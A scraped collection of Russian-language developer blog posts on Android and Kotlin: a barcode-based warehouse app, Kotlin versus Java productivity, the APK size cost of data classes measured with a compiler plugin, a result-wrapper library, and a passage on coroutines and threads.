protected void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);    setContentView(R.layout.activity_main);    Spinner fromSpinner = (Spinner) findViewById(R.id.fromSpinner);    Spinner toSpinner = (Spinner) findViewById(R.id.toSpinner);    ArrayAdapter<String> adapter = new ArrayAdapter<String> (            this, android.R.layout.simple_spinner_item, warehouses);    adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);    fromSpinner.setAdapter(adapter);    toSpinner.setAdapter(adapter);}public void scanCode(View view) {    Intent intent = new Intent(MainActivity.this, Scan.class);    Spinner get_w_from = (Spinner) findViewById(R.id.fromSpinner);    Spinner get_w_to = (Spinner) findViewById(R.id.toSpinner);    EditText editText = (EditText) findViewById(R.id.prodctQuantity);    String quantity_tt = editText.getText().toString();    RequestData requestData = new RequestData(            get_w_from.getSelectedItem().toString(),            get_w_to.getSelectedItem().toString(),            quantity_tt);    intent.putExtra(RequestData.class.getSimpleName(), requestData);    startActivity(intent);}

Закладка Enter Code отвечает за ручной ввод реферального кода. Скажем, если наклейка повреждена. Здесь все просто вписываем и отправляем.

Ручная отправка кодаРучная отправка кода

Scan Code переключается на Activity co сканнером, а обрабатываются изображения библиотекой Barcode Scanner от Google.

Окно сканирования кодаОкно сканирования кода

Send Code отправляющая код на сервер. Обработчик получает данные из текстового поля сканнера или инпута из активити ручного заполнения, валидирует его и передает данные обработчику отправки запроса. А Retrofit делает все остальное. Приложение, пока что, самая недопиленная часть сказывается плохое знание Java и отсутствие опыта разработки под Android в целом, но я пытаюсь исправиться.

Код приложения на github: https://github.com/palachintosh/product_control.git

Как это выглядело раньше

Раньше процесс управления продуктами выглядел так:

  • Когда приезжала большая доставка продукты добавлялись на сайт вручную с накладной;

  • Когда велосипед продавался его нужно было зарегистрировать в базе производителя, записать на бумажный листок модель и дату, снять единицу продукта через админку;

  • Нужно было как-то мониторить склады, с которых коробки приезжают и стараться это обновлять по мере возможности.

Как это выглядит сейчас:

  • Когда приезжает доставка сканируются либо штрих-коды на накладной, либо каждая коробка;

  • Во время продажи подтверждается действие удаления единицы продукта;

  • Когда коробки мигрируют со склада на склад в приложении выбираются склады и отправляется отсканированный код.

В сумме, новый подход экономит около 2-х минут на каждом проданном велосипеде и гораздо больше на всех переносах склад-склад.

Выводы

Если посчитать все обязательные кнопки, то получается, что их реально 5:

  1. Отправка запроса с сайта производителя чтобы снять продукт.

  2. Отмена отправки запроса (если велосипед был продан через интернет, тогда этим управляет PrestaShop).

  3. Кнопка "Enter code" в приложении.

  4. Кнопка "Scan code".

  5. Отправка запроса в приложении "Send Code".

Вся система действительно работает в магазине и ею пользуются даже те, кто испытывает трудности в работе с компьютером, а это, как мне кажется вполне неплохо для первого учебного проекта.

Из явных минусов в глаза бросается безопасность, громоздкость скрипта расширения, отсутствует кроссплатформенность, да и вообще работает только у нас в магазине. Но самый главный минус - нужно вручную вписать штрих-код каждого отдельного продукта на самом сайте и добавлять их вручную на склады.

Из плюсов: облегчает жизнь сотрудникам и экономит время, инвентаризации на складах делаются моментально, ну и респект от шефа, конечно же.

Если статья не улетит в минуса или вообще будет опубликована, то подробно опишу код всего проекта, отрефакторю его, сделаю более безопасным и читаемым.

Людям, посмотревшим репозитории или вообще прочитавшим это буду благодарен за конструктивные комментарии и критику.

Подробнее..

Повышение производительности с Kotlin

14.01.2021 18:11:53 | Автор: admin

Я недавно написал статью о нововведениях в Kotlin 1.4.20. И первый комментарий оказался немного несправедливым по отношению к Kotlin.

Он утверждал, что зачем мол Kotlin в мобильной разработке, ведь есть Java, потому что это один из лучших языков программирования.

И ко всем этому очень много кода Android Framework написаны на Java, а точнее больше 50%!

Перед тем, как я поделюсь своим мнением и изложу сей рассказ, попрошу пожалуйста не бить меня стульями :)

Ну что ж, начнем со статистики!

Что говорят профессиональные разработчики?

Google провела небольшой опрос для тех разработчиков, которые используют Kotlin.

Результат такой:

67 % опрошенных профессиональных Android разработчиков, которые используют Kotlin, сказали, что он повышает их производительность!

Данные опроса выложила Florina Muntenescu (Android Developer Advocate)

Конечно в этот опрос входят не все, кто использует Kotlin, и вообще он не 100% точный.

Но такие моменты имеют немалый вес и их стоит учитывать, если вы начинаете свою карьеру в мобильной разработке.

Что говорят партнеры Google и другие компании, которые принимали участие в статистики?

Профессиональные Android разработчики указали на некоторые весьма важные характеристики Kotlin:

  1. Краткость - меньше кода, меньше тестов и меньше времени на отладку. Такой код легче читать и поддерживать

  2. Простота - несомненно Kotlin проще Java

Мнение одной из команд Flipkart:

Во время внутреннего опроса, 50% разработчиков отметили, что они сделали бы за меньшие сроки функционал приложения, если бы модуль был бы написан на Kotlin.

Немного статистики от компании Cash App:

Когда команда Cash App начала использовать Kotlin, они избавились от Builder паттерн и сократили кол-во кода, который им нужно было написать (в некоторых случаях они сэкономили 25% на размере кода).

Также о краткости и лаконичности Kotlin говорят ребята из компании Zomato в этом видео

От компании Duolingo

Duolingo - это одна из самых популярных платформ для изучения иностранных языков и одно из наиболее загружаемых приложений в Google Play (более 100 млн. загрузок).

В прошлом их кодовая база увеличивалась каждый код на 46% (добавление новых функций, различные обновления библиотек и т.д.). Поэтому они приняли решение переписать приложение на Kotlin.

На это ушло порядка двух лет. Их усилия не прошли даром: несмотря на введение новых функций, они сократили свою кодовую базу до тех размеров, которые были 2 года назад!

Внутренние опросы показали, что удовлетворенность разработчиков возрасла, что неудивительно!

Они заметили один интересный факт: при конвертировании Java файла в Kotlin количество строк кода в среднем сокращается на 30%, а в некоторых случаях более чем на 90%!

Kotlin функциональность и продуктивность

В Android разработке на Java, чтобы указать необязательные параметры у конструктура вы должны сделать одно из двух:

1) Добавить множество конструкторов

2) Добавить Build паттерн

В Kotlin существуют значения по умолчанию, которые делают нашу жизнь проще.

Вот так выглядит страшный класс с использованием Builder паттерна на Java:

public class Task {     private final String name;     private final Date deadline;     private final TaskPriority priority;     private final boolean completed;     private Task(String name, Date deadline, TaskPriority priority, boolean completed) {         this.name = name;         this.deadline = deadline;         this.priority = priority;         this.completed = completed;     }     public static class Builder {         private final String name;         private Date deadline;         private TaskPriority priority;         private boolean completed;         public Builder(String name) {             this.name = name;         }         public Builder setDeadline(Date deadline) {             this.deadline = deadline;         return this;         }         public Builder setPriority(TaskPriority priority) {             this.priority = priority;             return this;         }         public Builder setCompleted(boolean completed) {             this.completed = completed;             return this;         }         public Task build() {             return new Task(name, deadline, priority, completed);         }     }}

Тот же самый класс на Kotlin (с дополнительной реализацией hashCode(), equals() и некоторыми другими плюшками):

data class Task(     val name: String,     val deadline: Date = DEFAULT_DEADLINE,     val priority: TaskPriority = TaskPriority.LOW,     val completed: Boolean = false)

Это впечатляет!

А вот ещё пример с применением паттерна Singleton на Java:

public class Singleton{    private static volatile Singleton INSTANCE;    private Singleton(){}    public static Singleton getInstance(){        if (INSTANCE == null) {                // Single Checked            synchronized (Singleton.class) {                if (INSTANCE == null) {        // Double checked                    INSTANCE = new Singleton();                }            }        }        return INSTANCE;    }    private int count = 0;    public int count(){ return count++; } }

На Kotlin:

object Singleton {     private var count = 0     fun count(): Int {         return count++     } }

Подобные вещи сильно упрощают разработку и помогают избавиться от шаблонного кода.

Kotlin предоставляет довольно мощные средства, которые обеспечивают высокую выразительность кода, вот взгляните:

fun borrow(){    library -= book // используется operator overloading    val (title, author) = book // деструктуризация data класса    println("Borrowed $title") // шаблон строки}

Помимо лаконичности и простоты, Kotlin вводит дополнительный синтаксис при работе с null ссылками:

var str: String? = null // Разработчик, знает, // что str может ссылаться на null        println(str?.length) // Обращение происходит через Safe (?) оператор    val len = str?.length ?: 0 // значение 0, если str ссылается на nullvar listOf: List<String>? = null // может ссылаться на nulllistOf?.filter { it.length > 3 } // можно использовать цепочки    ?.map { it.length }      ?.forEach { println("Length more 3 -> $it") }

А также в Android предусмотрены дополнительные расширения для Kotlin, которые позволяют сделать код меньше и проще, например:

@Injectlateinit var viewModelFactory: MyViewModelFactoryprivate val viewModel by viewModels<MyViewModel> { viewModelFactory }

Большинство современных библиотек поддерживают Kotlin расширения, например:

dependencies {  implementation 'androidx.lifecycle:lifecycle-livedata-ktx:2.2.0'implementation "androidx.room:room-ktx:$room_version"        implementation "androidx.paging:paging-runtime-ktx:$paging_version"    }

Заключение

Java довольно мощный и высоко развитый язык, но по моему мнению, Kotlin в будущем будет использоваться более 95% мобильными разработчиками, а Java останется на заднем плане.

Но это не весомый аргумент тому, что о Java можно забыть в мобильной разработке, хотя по большей части можно :)

Даже если Kotlin заполонит весь рынок мобильной разработки, большинство компонентов Android Framework все равно написаны на Java и поэтому в редких случаях придется будет использовать Java.

Полезные ссылки:

  1. Статья на Medium от Florina Muntenescu (Android Developer Advocate)

  2. Twitter аккаунт Florina Muntenescu

  3. Twitter аккаунт Android Developers

  4. Duolingo перешла на Kotlin

  5. Android Developers Store: Zomato использует Kotlin чтобы сделать код более безопасным и лаконичным

Подробнее..

Влияние data-классов на вес приложения

04.03.2021 18:06:42 | Автор: admin


Kotlin имеет много классных особенностей: null safety, smart casts, интерполяция строк и другие. Но одной из самых любимых разработчиками, по моим наблюдениям, являются data-классы. Настолько любимой, что их часто используют даже там, где никакой функциональности data-класса не требуется.


В этой статье я с помощью эксперимента постараюсь понять, какова реальная цена использования большого количества data-классов в приложении. Я попробую удалить все data-классы, не сломав компиляцию, но сломав приложение, а потом расскажу о результатах и выводах этого эксперимента.


Data-классы и их функциональность


В процессе разработки часто создаются классы, основное назначение которых хранение данных. В Kotlin их можно пометить как data-классы, чтобы получить дополнительную функциональность:


  • component1(), component2() componentX() для деструктурирующего присваивания (val (name, age) = person);
  • copy() с возможностью создавать копии объекта с изменениями или без;
  • toString() с именем класса и значением всех полей внутри;
  • equals() & hashCode().



Но мы платим далеко не за всю эту функциональность. Для релизных сборок используются оптимизаторы R8, ProGuard, DexGuard и другие. Они могут удалять неиспользуемые методы, а значит, могут и оптимизировать data-классы.


Будут удалены:


  • component1(), component2() componentX() при условии, что не используется деструктурирующее присваивание (но даже если оно есть, то при более агрессивных настройках оптимизации эти методы могут быть заменены на прямое обращение к полю класса);
  • copy(), если он не используется.

Не будут удалены:


  • toString(), поскольку оптимизатор не может знать, будет ли этот метод где-то использоваться или нет (например, при логировании); также он не будет обфусцирован;
  • equals() & hashCode(), потому что удаление этих функций может изменить поведение приложения.

Таким образом, в релизных сборках всегда остаются toString(), equals() и hashCode().


Масштаб изменений


Чтобы понять, какое влияние на размер приложения оказывают data-классы в масштабе приложения, я решил выдвинуть гипотезу: все data-классы в проекте не нужны и могут быть заменены на обычные. А поскольку для релизных сборок мы используем оптимизатор, который может удалять методы componentX() и copy(), то преобразование data-классов в обычные можно свести к следующему:


data class SomeClass(val text: String) {- override fun toString() = ...  - override fun hashCode() = ...- override fun equals() = ...}

Но вручную такое поведение реализовать невозможно. Единственный способ удалить эти функции из кода переопределить их в следующем виде для каждого data-класса в проекте:


data class SomeClass(val text: String) {+ override fun toString() = super.toString()+ override fun hashCode() = super.hashCode()+ override fun equals() = super.equals()}

Вручную для 7749 data-классов в проекте.



Ситуацию усугубляет использование монорепозитория для приложений. Это означает, что я не знаю точно, сколько из этих 7749 классов мне нужно изменить, чтобы измерить влияние data-классов только на одно приложение. Поэтому придётся менять все!


Плагин компилятора


Вручную такой объём изменений сделать невозможно, поэтому самое время вспомнить о такой прекрасной незадокументированной вещи, как плагины компилятора. Мы уже рассказывали про наш опыт создания плагина компилятора в статье Чиним сериализацию объектов в Kotlin раз и навсегда. Но там мы генерировали новые методы, а здесь нам нужно их удалять.


В открытом доступе на GitHub есть плагин Sekret, который позволяет скрывать в toString() указанные аннотацией поля в data-классах. Его я и взял за основу своего плагина.


С точки зрения создания структуры проекта практически ничего не поменялось. Нам понадобятся:


  • Gradle-плагин для простой интеграции;
  • плагин компилятора, который будет подключён через Gradle-плагин;
  • проект с примером, на котором можно запускать различные тесты.

Самая важная часть в Gradle-плагине это объявление KotlinGradleSubplugin. Этот сабплагин будет подключён через ServiceLocator. С помощью основного Gradle-плагина мы можем конфигурировать KotlinGradleSubplugin, который будет настраивать поведение плагина компилятора.


@AutoService(KotlinGradleSubplugin::class)class DataClassNoStringGradleSubplugin : KotlinGradleSubplugin<AbstractCompile> {    // Проверяем, есть ли основной Gradle-плагин    override fun isApplicable(project: Project, task: AbstractCompile): Boolean =        project.plugins.hasPlugin(DataClassNoStringPlugin::class.java)    override fun apply(        project: Project,        kotlinCompile: AbstractCompile,        javaCompile: AbstractCompile?,        variantData: Any?,        androidProjectHandler: Any?,        kotlinCompilation: KotlinCompilation<KotlinCommonOptions>?    ): List<SubpluginOption> {        // Опции плагина компилятора настраиваются через DataClassNoStringExtension с помощью Gradle build script        val extension =            project                .extensions                .findByType(DataClassNoStringExtension::class.java)                ?: DataClassNoStringExtension()        val enabled = SubpluginOption("enabled", extension.enabled.toString())        return listOf(enabled)    }    override fun getCompilerPluginId(): String = "data-class-no-string"    // Это артефакт плагина компилятора, и он должен быть доступен в репозитории Maven, который вы используете    override fun getPluginArtifact(): SubpluginArtifact =        SubpluginArtifact("com.cherryperry.nostrings", "kotlin-plugin", "1.0.0")}

Плагин компилятора состоит из двух важных компонентов: ComponentRegistrar и CommandLineProcessor. Первый отвечает за интеграцию нашей логики в этапы компиляции, а второй за обработку параметров нашего плагина. Я не буду описывать их детально посмотреть реализацию можно в репозитории. Отмечу лишь, что, в отличие от метода, описанного в другой статье, мы будем регистрировать ClassBuilderInterceptorExtension, а не ExpressionCodegenExtension.


ClassBuilderInterceptorExtension.registerExtension(    project = project,    extension = DataClassNoStringClassGenerationInterceptor())

ClassBuilderInterceptorExtension позволяет изменять процесс генерации классов, а значит, с его помощью мы сможем избежать создания ненужных методов.


class DataClassNoStringClassGenerationInterceptor : ClassBuilderInterceptorExtension {    override fun interceptClassBuilderFactory(        interceptedFactory: ClassBuilderFactory,        bindingContext: BindingContext,        diagnostics: DiagnosticSink    ): ClassBuilderFactory =        object : ClassBuilderFactory {            override fun newClassBuilder(origin: JvmDeclarationOrigin): ClassBuilder {                val classDescription = origin.descriptor as? ClassDescriptor                // Если класс является data-классом, то изменяем процесс генерации кода                return if (classDescription?.kind == ClassKind.CLASS && classDescription.isData) {                    DataClassNoStringClassBuilder(interceptedFactory.newClassBuilder(origin), removeAll)                } else {                    interceptedFactory.newClassBuilder(origin)                }            }        }}

Теперь необходимо не дать компилятору создать некоторые методы. Для этого воспользуемся DelegatingClassBuilder. Он будет делегировать все вызовы оригинальному ClassBuilder, но при этом мы сможем переопределить поведение метода newMethod. Если мы попытаемся создать методы toString(), equals(), hashCode(), то вернём пустой MethodVisitor. Компилятор будет писать в него код этих методов, но он не попадёт в создаваемый класс.


class DataClassNoStringClassBuilder(    val classBuilder: ClassBuilder) : DelegatingClassBuilder() {    override fun getDelegate(): ClassBuilder = classBuilder    override fun newMethod(        origin: JvmDeclarationOrigin,        access: Int,        name: String,        desc: String,        signature: String?,        exceptions: Array<out String>?    ): MethodVisitor {        return when (name) {            "toString",            "hashCode",            "equals" -> EmptyVisitor            else -> super.newMethod(origin, access, name, desc, signature, exceptions)        }    }    private object EmptyVisitor : MethodVisitor(Opcodes.ASM5)}

Таким образом, мы вмешались в процесс создания data-классов и полностью исключили из них вышеуказанные методы. Убедиться, что этих методов больше нет, можно с помощью кода, доступного в sample-проекте. Также можно проверить JAR/DEX-байт-код и убедиться в том, что там эти методы отсутствуют.


class AppTest {    data class Sample(val text: String)    @Test    fun `toString method should return default string`() {        val sample = Sample("test")        // toString должен возвращать результат метода Object.toString        assertEquals(            "${sample.javaClass.name}@${Integer.toHexString(System.identityHashCode(sample))}",            sample.toString()        )    }    @Test    fun `hashCode method should return identityHashCode`() {         // hashCode должен возвращать результат метода Object.hashCode, он же по умолчанию System.identityHashCode        val sample = Sample("test")        assertEquals(System.identityHashCode(sample), sample.hashCode())    }    @Test    fun `equals method should return true only for itself`() {        // equals должен работать как Object.equals, а значит, должен быть равным только самому себе        val sample = Sample("test")        assertEquals(sample, sample)        assertNotEquals(Sample("test"), sample)    }}

Весь код доступен в репозитории, там же есть пример интеграции плагина.


Результаты



Для сравнения мы будем использовать релизные сборки Bumble и Badoo. Результаты были получены с помощью утилиты Diffuse, которая выводит детальную информацию о разнице между двумя APK-файлами: размеры DEX-файлов и ресурсов, количество строк, методов, классов в DEX-файле.


Приложение Bumble Bumble (после) Разница Badoo Badoo (после) Разница
Data-классы 4026 - - 2894 - -
Размер DEX (zipped) 12.4 MiB 11.9 MiB -510.1 KiB 15.3 MiB 14.9 MiB -454.1 KiB
Размер DEX (unzipped) 31.7 MiB 30 MiB -1.6 MiB 38.9 MiB 37.6 MiB -1.4 MiB
Строки в DEX 188969 179197 -9772 244116 232114 -12002
Методы 292465 277475 -14990 354218 341779 -12439


Количество data-классов было определено эвристическим путём с помощью анализа удалённых из DEX-файла строк.



Реализация toString() у data-классов всегда начинается с короткого имени класса, открывающей скобки и первого поля data-класса. Data-классов без полей не существует.


Исходя из результатов, можно сказать, что в среднем каждый data-класс обходится в 120 байт в сжатом и 400 байт в несжатом виде. На первый взгляд, не много, поэтому я решил проверить, сколько получается в масштабе целого приложения. Выяснилось, что все data-классы в проекте обходятся нам в ~4% размера DEX-файла.


Также стоит уточнить, что из-за MVI-архитектуры мы можем использовать больше data-классов, чем приложения на других архитектурах, а значит, их влияние на ваше приложение может быть меньше.


Использование data-классов


Я ни в коем случае не призываю вас отказываться от data-классов, но, принимая решение об их использовании, нужно тщательно всё взвесить. Вот несколько вопросов, которые стоит задать себе перед объявлением data-класса:


  • Нужны ли реализации equals() и hashCode()?
    • Если нужны, лучше использовать data-класс, но помните про toString(), он не обфусцируется.
  • Нужно ли использовать деструктурирующее присваивание?
    • Использовать data-классы только ради этого не лучшее решение.
  • Нужна ли реализация toString()?
    • Вряд ли существует бизнес-логика, зависящая от реализации toString(), поэтому иногда можно генерировать этот метод вручную, средствами IDE.
  • Нужен ли простой DTO для передачи данных в другой слой или задания конфигурации?
    • Обычный класс подойдёт для этих целей, если не требуются предыдущие пункты.

Мы не можем совсем отказаться от использования data-классов в проекте, и приведённый выше плагин ломает работоспособность приложения. Удаление методов было сделано ради оценки влияния большого количества data-классов. В нашем случае это ~4% от размера DEX-файла приложения.


Если вы хотите оценить, сколько места занимают data-классы в вашем приложении, то можете сделать это самостоятельно с помощью моего плагина.

Подробнее..

Reaction обработка результатов методов в Kotlin

07.03.2021 20:08:29 | Автор: admin

Каждый, кто использовал Чистую архитектуру в разработке, сталкивался с проблемой передачи данных между слоями. Суть проблемы всегда одинакова: необходимо вернуть либо результат, либо ошибку. Представить это можно, например, так:

interface Reactiondata class Success(val data: String) : Reactiondata class Error(message: String) : Reaction

В зависимости от задачи, такие Reactionы могут быть самые разные, поэтому давайте объединим его в один класс, используя Generics и Sealed classы.

sealed class Reaction<out T> {   class Success<out T>(val data: T) : Reaction<T>()   class Error(val exception: Throwable) : Reaction<Nothing>()}

Разберем пример как это можно использовать

class MyViewModel : ViewModel {private val repository: Repositoryfun doSomething() {viewModelScope.launch(Dispatchers.IO) {val result = repository.getData()when (result) {is Success -> //do somethingis Error -> // show error}}}}

Выглядит неплохо. Мы можем возвращать данные и обрабатывать ошибку.
Теперь посмотрим как выглядит репозиторий в текущем варианте

class RepositoryImpl(private val dataSource: DataSource) : Repository {  override suspend fun getData(): Reaction<Int> {return try {Reaction.Success(dataSource.data)} catch(e: Exception) {Reaction.Error(e)}}}

Из-за того, что каждый метод репозитория должен возвращать Reaction, придется каждый метод оборачивать в try-catch, что выглядит некрасиво из-за огромного количества бойлерплейт кода. Попробуем сделать код чище, выносом try-catch в метод.

sealed class Reaction<out T> {   class Success<out T>(val data: T) : Reaction<T>()   class Error(val exception: Throwable) : Reaction<Nothing>()   companion object {       inline fun <T> on(f: () -> T): Reaction<T> = try {           Success(f())       } catch (ex: Exception) {           Error(ex)       }   }}

После этого репозиторий начнет выглядеть так:

class RepositoryImpl(private val dataSource: DataSource) : Repository {suspend fun getData(): Reaction<Int> = Reaction.on { dataSource.data }}

Видно, что код стал гораздо чище и только в этом примере мы сэкономили 4 строки кода.

Теперь вернемся к ViewModel и постараемся убрать бойлерплэйт when для каждого запроса. Сейчас мы получаем данные, обрабатываем и отдаем во View.

class MyViewModel : ViewModel {private val repository: Repositoryprivate val _onData = MutableLiveData<State>()val onData: LiveData<State> = _onDatafun doSomething() {viewModelScope.launch(Dispatchers.IO) {val result = repository.getData()when (result) {is Success -> _onData.postValue(State.Success)is Error -> onData.postValue(State.Error(result.message))}}}sealed class State {  object Progress : State()  object Success : State()  data class Error(message: String) : State()}}

Решение уже подсказывает опыт RxJava, Coroutines и LiveData.
Исходя из того, что данные, которые вернулись в ViewModel обычно надо показать пользователю в виде результата запроса, либо ошибки, давайте добавим метод zip, который будет приводить Reaction к объекту, который будет передаваться в LiveData

inline fun <T, R> Result<T>.zip(success: (T) -> R, error: (Exception) -> R): R =   when (this) {       is Reaction.Success -> success(this.data)       is Reaction.Error -> error(this.exception)   }

Наша MyViewModel преобразится в

class MyViewModel : ViewModel {private val repository: Repositoryprivate val _onData = MutableLiveData<State>()val onData: LiveData<State> = _onNewDirectoryfun doSomething() {viewModelScope.launch(Dispatchers.IO) {repository.getData().zip(        { State.Success },         { State.Error(result.message) }        ).let { onData.postValue(it) }}}//...}

Также есть частый случай, когда метод в ViewModel делает несколько последовательных запросов к репозиторию, где одни данные зависят от ранее полученных. При получении ошибки необходимо прервать цепочку запросов и вернуть ошибку во View

Рассмотрим следующий пример:

class MyViewModel : ViewModel {//...fun doSomething() {viewModelScope.launch(Dispatchers.IO) {var firstData: Int = 0val reaction = repository.getData()when (reaction) {is Success -> firstData = reaction.data is Error -> {onData.postValue(State.Error(reaction.message))return@launch}}val nextReaction = repository.getNextData(firstData)      //..}}  //...}

Решений можно придумать множество, но я здесь представлю решение без callback hell, оставляя преимущество, которое предоставляет использование Coroutines

class MyViewModel : ViewModel {  //...fun doSomething() {viewModelScope.launch(Dispatchers.IO) {val firstData = repository.getData().takeOrReturn {onData.postValue(State.Error(result.message)return@launch}val nextReaction= repository.getNextData(firstData)      //..}}}

В итоге мы имеем легко расширяемое решение, в которой уже есть такие популярные методы обработки полученных данных как:

  • on - Создает Reaction из выражения

  • map - Трансформирует успешный результат

  • flatMap - Трансформирует успешный результат в новую Reaction

  • doOnSuccess - Выполняется, если Reaction - успешный результат

  • и др

Полный список и дополнительные примеры можно найти в Github

Сравнение с аналогами

Было найдено 3 аналога. Ниже представлены сами аналоги и их преимущества и недостатки

  • Railway Kotlin
    Преимущества:

    • Легко освоить

    • Состоит из 1 файла

    Недостатки:

    • Нет возможности инкапсулировать try-catch

    • Использование infix методов

    • Неинтуитивные названия методов

  • Arrow-KT
    Преимущества:

    • Популярная библиотека

    Недостатки:

    • Из описания непонятно что библиотека может

    • Высокий порог вхождения по сравнению с аналогами

    • Оставляет ощущение, что является слишком сложной для решения такой простой проблемы

  • Result (Kotlin)
    Преимущества:

    • Является почти полной копией предлагаемого мной решения

    Недостатки:

Итог

Reaction - это легковесная библиотека с минимальным порогом вхождения, т.к. она состоит из 1 файла, предоставляющая такие же мощности, как решение от Kotlin, но не содержит всех его минусов.

GitHub

https://github.com/taptappub/Reaction/

Подробнее..

Перевод О взаимосвязи между корутинами, потоками и проблемами параллелизма

09.03.2021 12:08:26 | Автор: admin

Корутины - это легковесные потоки, сколько раз вы слышали эту формулировку? Она что-нибудь вам говорит? Скорее всего не очень много. Если вы хотите узнать больше о том, как на самом деле корутины выполняются в рантайме Android, как они связаны с потоками, а также о проблемах параллелизма, которые неизбежны при использовании потоковой модели языка программирования Java, то эта статья для вас.

Корутины и потоки

Корутины призваны упростить код, который выполняется асинхронно. Когда мы говорим о корутинах в рантайме Android, блок кода, переданный в качестве лямбды в билдер корутин, в конечном итоге выполняется в определенном потоке. Например, это простое вычисление Фибоначчи:

// Корутина, которая вычисляет 10-й элемент ряда Фибоначчи в фоновом потокеsomeScope.launch(Dispatchers.Default) {val fibonacci10 = synchronousFibonacci(10)saveFibonacciInMemory(10, fibonacci10)}private fun synchronousFibonacci(n: Long): Long { /*  */ }

Вышеупомянутый асинхронный (async) блок кода корутины, который выполняет синхронное блокирующее вычисление фибоначчи и сохраняет его в памяти, диспатчится и планируется для выполнения в пуле потоков (thread pool), управляемом библиотекой корутин, настроенной для Dispatchers.Default. Код будет выполняться в потоке из пула потоков в какой-то момент в будущем в зависимости от его политик.

Обратите внимание, что приведенный выше код полностью выполняется в одном потоке, потому что его нельзя приостановить. Корутина может выполняться в разных потоках, если выполнение перемещается в другой диспатчер (dispatcher), или если блок содержит код, который можно передавать (yield)/приостанавливать (suspend) в диспtтчере, который использует пул потоков.

Точно так же вы можете выполнить приведенную выше логику без корутин с помощью прямого использования потоков следующим образом:

// Создаем пул из 4 потоковval executorService = Executors.newFixedThreadPool(4)// Планируем на выполнение этот код в одном из этих потоковexecutorService.execute {   val fibonacci10 = synchronousFibonacci(10)   saveFibonacciInMemory(10, fibonacci10)}

Хотя управление пулами потоков вручную возможно, корутины являются рекомендуемым решением для асинхронного программирования на Android благодаря встроенной поддержке отмены и упрощению обработки ошибок, структурированному параллелизму, снижающему вероятность утечек памяти, и его интеграции с библиотеками Jetpack.

Под капотом

Что происходит с момента создания корутины до ее выполнения в потоке? Когда вы создаете корутину с помощью стандартных билдеров корутин, вы можете указать, на каком CoroutineDispatcher ее запускать; в противном случае используется Dispatchers.Default .

CoroutineDispatcher отвечает за диспетчеризацию выполнения корутины в поток. Под капотом, когда используется CoroutineDispatcher, он перехватывает корутину, используя метод interceptContinuation, который оборачивает Continuation (то есть корутину) в DispatchedContinuation. Это возможно, потому что CoroutineDispatcher реализует ContinuationInterceptor интерфейс.

Если вы читали мою статью о том, как корутины работают под капотом, вы уже знаете, что компилятор создает стейтмашину, а информация о ней (например, что нужно выполнить дальше) хранится в объекте Continuation.

Метод resumeWith класса DispatchedContinuation отвечает за диспетчеризацию корутины к соответствующему диспатчеру в случае, если Continuation должна быть выполнена в другом диспатчере!

Кроме того, DispatchedContinuation наследуется от абстрактного класса DispatchedTask, который в реализации языка программирования Java, является типом, реализующим интерфейс Runnable. Следовательно, DispatchedContinuation может выполняться в потоке! Разве это не круто? Когда указан CoroutineDispatcher, корутина преобразуется в DispatchedTask, который диспатчится для выполнения в потоке как Runnable!

А теперь Как вызывается метод dispatch при создании корутины? Когда вы создаете корутину с использованием стандартных билдеров корутин, вы можете указать, как корутина запускается с помощью параметра start типа CoroutineStart. Например, вы можете указать ей запускаться только тогда, когда это необходимо, с помощью CoroutineStart.LAZY. По умолчанию используется CoroutineStart.DEFAULT, который планирует выполнение корутины в соответствии с ее CoroutineDispatcher. Бинго!

Иллюстрация того, как блок кода в корутине попадает на выполнение в потокИллюстрация того, как блок кода в корутине попадает на выполнение в поток

Иллюстрация того, как блок кода в корутине попадает на выполнение в поток

Диспатчеры и пулы потоков

Вы можете выполнять корутины в любом из пулов потоков вашего приложения, преобразовав их в CoroutineDispatcher с помощью функции расширения Executor.asCoroutineDispatcher(). В качестве альтернативы вы можете использовать диспатчеры по умолчанию (Dispatchers), которые входят в библиотеку корутин.

Вы можете посмотреть, как Dispatchers.Default инициализируется в методе createDefaultDispatcher. По умолчанию используется DefaultScheduler. Если вы ознакомитесь с реализацией Dispatchers.IO, он также использует DefaultScheduler и позволяет создавать по запросу не менее 64 потоков. Dispatchers.Default и Dispatchers.IO неявно связаны друг с другом, поскольку они используют один и тот же пул потоков, что плавно подводит меня к следующей теме. Каковы накладные расходы во время выполнения при вызове withContext с разными диспатчерами?

Потоки и производительность withContext

Если в рантайме Android создано больше потоков, чем доступно ядер ЦП, переключение между потоками сопряжено с некоторыми накладными расходами во время выполнения. Переключение контекста не из дешевых! ОС должна сохранять и восстанавливать контекст выполнения, а ЦП должен тратить время на планирование потоков, а не на выполнение реальной работы приложения. Кроме того, переключение контекста может произойти, если поток выполняет блокирующий код. Если так обстоят дела с потоками, есть ли какое-либо снижение производительности при использовании withContext с разными диспатчерами?

К счастью, как вы могли догадаться, пулы потоков берут на себя всю сложность управления этим процессом, пытаясь оптимизировать работу, чтобы она выполнялась максимально эффективно (поэтому выполнение работы в пуле потоков лучше, чем выполнение в потоках вручную). От этого также выигрывают и корутины, поскольку они планируются в пулах потоков! Вдобавок ко всему, корутины не блокируют потоки, они вместо этого приостанавливают (suspend) их работу! Это еще эффективнее!

CoroutineScheduler, который является пулом потоков используемым в реализации языка программирования Java по умолчанию, выполняет дистрибьюцию задиспатченых корутин рабочим потокам наиболее эффективным образом. Поскольку Dispatchers.Default и Dispatchers.IO используют один и тот же пул потоков, переключение между ними оптимизировано, чтобы избежать переключения потоков, когда это возможно. Библиотека корутин может оптимизировать эти вызовы, оставаться в том же диспатчере и потоке и следовать fast-path.

Поскольку Dispatchers.Main обычно является другим потоком в приложениях пользовательского интерфейса, переключение между Dispatchers.Default и Dispatchers.Main в корутинах не сопряжено с большими потерями производительности, поскольку корутина просто приостанавливается (то есть перестает выполняться в одном потоке) и становится запланированной на выполнение в другом потоке.

Проблемы параллелизма в корутинах

Корутины ДЕЙСТВИТЕЛЬНО упрощают асинхронное программирование из-за того, насколько простым становится планирование работы в разных потоках. С другой стороны, эта простота может быть палкой о двух концах: поскольку корутины основаны на потоковой модели языка программирования Java, они не могут просто взять и избежать проблем параллелизма, которые влечет за собой эта многопоточная модель. Таким образом, вы должны быть внимательны, чтобы самому их избегать.

За прошедшие годы хорошие практики, такие как иммутабельность, позволили смягчить некоторые проблемы, связанные с потоками, с которыми вы можете столкнуться на практике. Однако есть некоторые случаи, которых нельзя избежать с помощью иммутабельности. Мать всех проблем параллелизма - это управление состоянием! В частности, доступ к мутабельному состоянию в многопоточной среде.

